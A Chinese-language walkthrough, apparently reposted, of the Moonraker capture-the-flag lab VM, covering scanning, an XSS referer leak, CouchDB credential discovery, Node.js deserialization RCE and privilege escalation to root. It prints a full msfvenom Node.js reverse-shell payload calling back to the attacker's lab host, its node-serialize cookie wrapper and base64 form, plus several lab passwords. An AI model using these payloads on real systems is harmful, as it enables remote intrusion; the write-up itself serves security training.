Moonraker靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Moonraker靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机搭建与下载
Monraker靶机ip: 192.168.181.135
kali攻击者ip : 192.168.181.128
说明:获取目标主机的root权限并读取目录中的flag.txt文件
一、主机探测
Ip
arp-scan -l
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e933111a2f8859c5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
netdiscover -i eth0 -r 192.168.181.1/24
nmap -sn 192.168.181.1/24
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2ae9c1435a3af8d6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
端口
nmap -sS -n 192.168.181.135
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-f353fa6e592d0438.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
nmap -sV -n 192.168.181.135
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-bcd2b72a2f3cabc9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
nmap -sV -p- -A 192.168.181.135
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e7a9491a0d8fa603.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
Web
扫描之后发现目标开放了22(ssh),80(http),3000(http),4369(epmd),5984(couchDb)等端口。目标开放了http端口,用web浏览器打开查看
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-22e68f406018a543.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2ca91837d5afdd6e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
目录
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-55e0bec0e1dac394.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d0788672aa15ef5f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看见一个robots.txt
二、漏洞查找
日志
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5956b76e0ed525bb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-dfb35ea919b90408.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-90d6e8e78ad0ce37.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
一、创建文件
试了一下用带图片标记去查询表单
var/www/html# vi test.txt
二、开启apache2
启动apache服务,并在/var/www/html目录下新建一个测试文件test.txt,内容随便写一个。
需在终端输入“vim /etc/apache2/ports.conf” -> 键盘输入i 进入插入编辑模式 -> 修改apache2默认监听端口号为8080 -> 编辑好后,按Esc键+“:wq” 保存退出 -> 在终端输入“/etc/init.d/apache2 start”
/etc/init.d/apache2 start
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c200107ad82b3dcb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-495b252af2568f14.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
三、输入xss
<img src=”http://192.168.181.128/test.txt”></img>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-04047a336b98f9ed.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
点击提交后
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-1b5d18f2ee1fda22.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
Windows
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4e42fa9d061ed88f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
Kali
使用命令查看日志
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c94ee54a7b378828.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用命令查看日志
tail -f /var/log/apache2/access.log
可以发现日志http refefer地址:http://192.168.1.10/svc-inq/salesmoon-gui.php
在日志中发现了新的页面,在浏览器打开
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-71e9afb58f7e8d08.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-fb33d1d201b18eb6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在新的页面里有两个链接
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-1c46cedfdaa1d2b8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c72b210fbea1fd78.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。
账号密码提示
username: jaws
password: 女朋友名字+x99的组合
百度或者谷歌jaws的女朋友
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c2fd56e705a3bdff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
然后根据提示信息,接下来就应该要查看couchdb这个了,这个怎么打开呢,我们在扫描端口时是开放了一个5984端口就是用来访问这个的,于是打开浏览器访问
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-7e79873f18e40564.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
已获取到Fauxton系统中Apache CouchDB的用户名和密码。要了解有关Fauxton和CouchDB的更多信息,我们可以通过googel搜索
http://docs.couchdb.org/en/stable/fauxton/install.html
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d5589623cc4aff57.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2445dbdd85e9a144.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
四、登录数据库
使用jaws账号密码登录
username: jaws
password: dollyx99
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5a5f89c2625150bb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在links里发现写信息,访问提示的目录
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-80fb6f426a4395eb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
其中在HR这个目录发现了重要的信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-eb08a628074b4d34.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8cf4557914cb5a62.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
访问这个5界面可以得到4个账号和密码
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-979f06f30f65c442.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
我也尝试了这些账号密码去ssh爆破,都无果,难道这些账号是用来混淆的?
其中hugo这个账号正是我们想要的,因为我们在这个页面发现是有node.js反序列化漏洞的
Node.js反序列化的漏洞执行远程代码
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5772975e33bd9de2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
http://192.168.181.135:3000
username: hugo
password: TempleLasersL2K
登录后
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a4a39cb963144477.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
Bp抓包修改cookie
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3fa36f26c4ec8932.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
接下来使用burp抓包,注意要抓登录的包,然后先发送到repeater,g根据右边setCookies提示设置
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b94677830f71d63e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
开始利用,因为这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
漏洞分析https://www.anquanke.com/post/id/85458
使用msfvenom生成nodejs反弹shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.181.128 LPORT=1521
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-1b19cd6cfacbefb9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.181.128", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
从终端输出msfvenom到rce.js
进行修改
{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.181.128", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
将以上payload做base64编码
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9761366eac024e58.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTgxLjEyOFwiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-f977765180fe3dc8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
nc 监听反弹
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4d2e80e10bc34d71.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
为了方便shell,使用python进行shell交互
python -c ‘import pty; pty.spawn("/bin/bash")‘
查看开放的端口,发现开启了邮件服务,
netstat -pantu
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-57a1455d57c95b8e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在/var/mail目录下存在邮件但是权限不足无法查看
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-16c2aca7f6dfc7cb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.
tail /opt/couchdb/etc/local.ini
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-15c6769c9e63a55b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
username: hugo
password: 321Blast0ff!!
cd /var/mail
Ls
cat hugo
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-aceeda07b37780ca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5cefe50be760633d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息中提到包括root的密码,又告诉我们在root密码后面+VR00M,和一段hash值,复制到文件进行hash破解
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-94d5cd50eeee13e0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
su root
Password: cyberVR00M
flag信息查看
成功以root身份登录,在检查其邮件目录时,我们找到了flag.txt文件。
root@moonraker:~# cd /root
root@moonraker:~# ls
coreDesktop Downloads flag.txt
root@moonraker:~# cat flag.txt
参考https://www.anquanke.com/post/id/173159
以上是关于Moonraker靶机的主要内容,如果未能解决你的问题,请参考以下文章